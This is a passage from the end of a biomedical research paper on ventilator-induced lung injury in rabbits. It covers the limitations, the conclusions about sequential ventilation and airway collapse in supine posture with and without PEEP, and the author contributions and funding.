There are several limitations to the current study. The tidal volume used to induce VILI in our previous study \[[@B18]\] as well as other studies of VILI were much greater than the tidal volumes used in the measurement of ventilation distribution. The lower tidal volumes were chosen to avoid inducing lung injury during the experiment because aerosol deposition is unlikely to reflect ventilation distribution in the presence of spatially heterogeneous pulmonary edema secondary to differences in particle deposition. We did not measure ventilation distributions in the prone posture to identify whether or not sequential ventilation distribution was diminished. However, we have previously shown in a porcine model that posture change from supine to prone increases dorsal-caudal ventilation consistent with reduced airway collapse in these regions \[[@B19]\]. Additionally, reduced sequential ventilation and airway closure in the prone posture compared with supine posture has been previously shown in dogs with normal lungs by single breath washout test \[[@B27]\]. We have also ventilated animals in the prone posture in an identical fashion to that previously reported in supine animals. With supine ventilation, the most severe injury occurred in the dorsal-caudal lung while less severe injury was seen in the cranial-ventral region. In contrast, prone ventilation produced a more modest and homogeneously distributed injury pattern \[[@B4]\]. These results are similar to that of previous observations in both oleic acid injured \[[@B22]\] and normal dogs \[[@B21]\]. One potential explanation for the protective effects of prone posture is the prevention of tidal collapse and re-expansion of distal lung units. In the supine posture, lower alveolar volumes at FRC may predispose dependent lung regions to cyclical collapse. The more uniform pleural pressure gradient along the dorsal-ventral axis, in the prone posture, results in higher regional FRC in dependent lung zones \[[@B28]\] which may limit tidal collapse and recruitment of airways, and thus reduce VILI.
Conclusions
===========
We previously reported in a rabbit model of VILI that lung injury is greater and more spatially heterogeneous in the supine posture as compared with the prone posture. One potential mechanism for this finding is regional repeated airway collapse and expansion during tidal breathing. To evaluate whether or not this occurred in the absence of lung injury with supine positioning, we measured regional ventilation at different tidal volumes in the presence and absence of PEEP. We found evidence of sequential ventilation distribution towards dorsal-caudal lung and away from ventral-cranial lung with increasing tidal volume. This sequential ventilation pattern was attenuated with the addition of PEEP compatible with RACE. We speculate that RACE occurs in normal lung with supine ventilation and in the absence of PEEP and that this may contribute to the development of lung injury.
List of Abbreviations
=====================
PEEP: Positive end expiratory pressure; VILI: Ventilator-induced lung injury; RACE: Repeated airways collapse and expansion; P~a~CO~2~: Partial pressure of arterial carbon dioxide; P~a~O~2~: Partial pressure of arterial oxygen
Competing interests
===================
The authors declare that they have no competing interests.
Authors\' contributions
=======================
SS and WA designed and performed the experiments, analyzed the data and wrote the manuscript. NP designed the statistical methods and reviewed and edited the manuscript. All authors read and approved the final manuscript.
Pre-publication history
=======================
The pre-publication history for this paper can be accessed here:
<http://www.biomedcentral.com/1471-2466/10/25/prepub>
Acknowledgements
================
The authors thank Wayne Lamm and Dowon An for assistance in performing these experiments.
This work was supported by NIH grants HL71020 and HL004479.
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{
"pile_set_name": "PubMed Central"
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